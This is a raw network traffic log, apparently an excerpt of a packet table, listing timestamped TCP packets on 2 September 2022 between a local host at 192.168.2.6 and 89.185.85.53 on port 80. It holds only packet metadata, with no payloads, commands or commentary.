Sep 2, 2022 14:03:31.549412966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549427032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549429893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549453020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549457073 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549470901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549479008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549496889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549504042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549525023 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549534082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549551964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549557924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549576998 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549582958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549599886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549626112 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557267904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557310104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557334900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557358980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557383060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557394028 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557408094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557430029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557431936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557446957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557457924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557473898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557480097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557501078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557502985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557527065 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557543993 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557720900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557743073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557765961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557771921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557784081 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557790041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557804108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557815075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557832956 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557840109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557867050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557888031 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.557967901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.557991028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.558037996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.558046103 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.558262110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.558288097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.558311939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.558324099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569355011 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569408894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569498062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569538116 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569725990 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569756031 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569785118 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569793940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569794893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569820881 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569830894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569844961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569868088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569869041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.569946051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.569962025 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570346117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570379972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570404053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570405006 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570425034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570427895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570446968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570452929 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570463896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570480108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570501089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570503950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570524931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570532084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570540905 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570557117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570569992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570581913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570594072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570605040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570631027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570632935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570647001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570686102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570859909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570883036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570907116 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570930958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570933104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570940018 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570955038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570955038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570976019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.570980072 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.570993900 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571017027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571294069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571326971 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571369886 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571377039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571386099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571393967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571414948 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571415901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571430922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571440935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571454048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571465015 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571489096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571492910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571513891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571532965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571782112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571813107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571834087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571837902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571850061 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571861982 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571883917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571885109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571904898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571909904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571922064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571933985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571948051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571959019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.571970940 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.571999073 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572364092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572393894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572418928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572421074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572438002 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572443962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572468996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572494030 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572519064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572546005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572571993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572597027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572618961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572619915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572628975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572635889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572640896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572643042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572644949 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572650909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572655916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572659969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572664976 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572669983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572681904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572695017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572710991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572720051 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572729111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572743893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572755098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572767973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572782040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572794914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572804928 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572818995 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572834969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572841883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572860003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572868109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572880030 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572892904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572904110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572916985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572930098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572941065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572952986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572968006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.572978973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.572993040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573002100 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573016882 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573031902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573043108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573054075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573066950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573080063 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573091984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573102951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573117018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573127985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573141098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573153019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573167086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573178053 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573190928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573205948 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573215008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573227882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573240042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573254108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573277950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573358059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573381901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573402882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573405981 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573420048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573431015 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573442936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573456049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573468924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573482037 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573492050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573517084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573554993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573577881 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573596001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573621035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573632002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573654890 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573674917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573690891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573925018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573952913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573976994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.573978901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.573993921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574003935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574016094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574029922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574040890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574064970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574067116 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574089050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574100971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574114084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574126005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574136972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574148893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574161053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574172974 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574198008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574374914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574417114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574420929 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574440956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574453115 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574477911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574506998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574546099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.574963093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.574989080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575010061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575031042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575041056 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575053930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575062037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575074911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575079918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575098038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575114012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575515985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575546980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575572014 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575577021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575594902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575596094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575609922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575620890 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575634956 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575644016 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575659037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575666904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575680971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575691938 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575704098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575715065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575725079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575740099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575762987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.575786114 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575835943 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.575979948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.576047897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.580869913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.580924988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.580993891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581022024 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581249952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581274986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581302881 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581315994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581319094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581340075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581356049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581366062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581382036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581389904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581404924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581413984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581429005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581439018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581450939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581465960 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581476927 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581490040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581504107 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581511021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.581535101 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.581619978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.582284927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582374096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.582859993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582895041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582920074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582935095 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.582942963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582967043 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.582968950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582990885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.582993984 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583014965 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583020926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583046913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583049059 CEST	80	49827	89.185.85.53	192.168.2.6
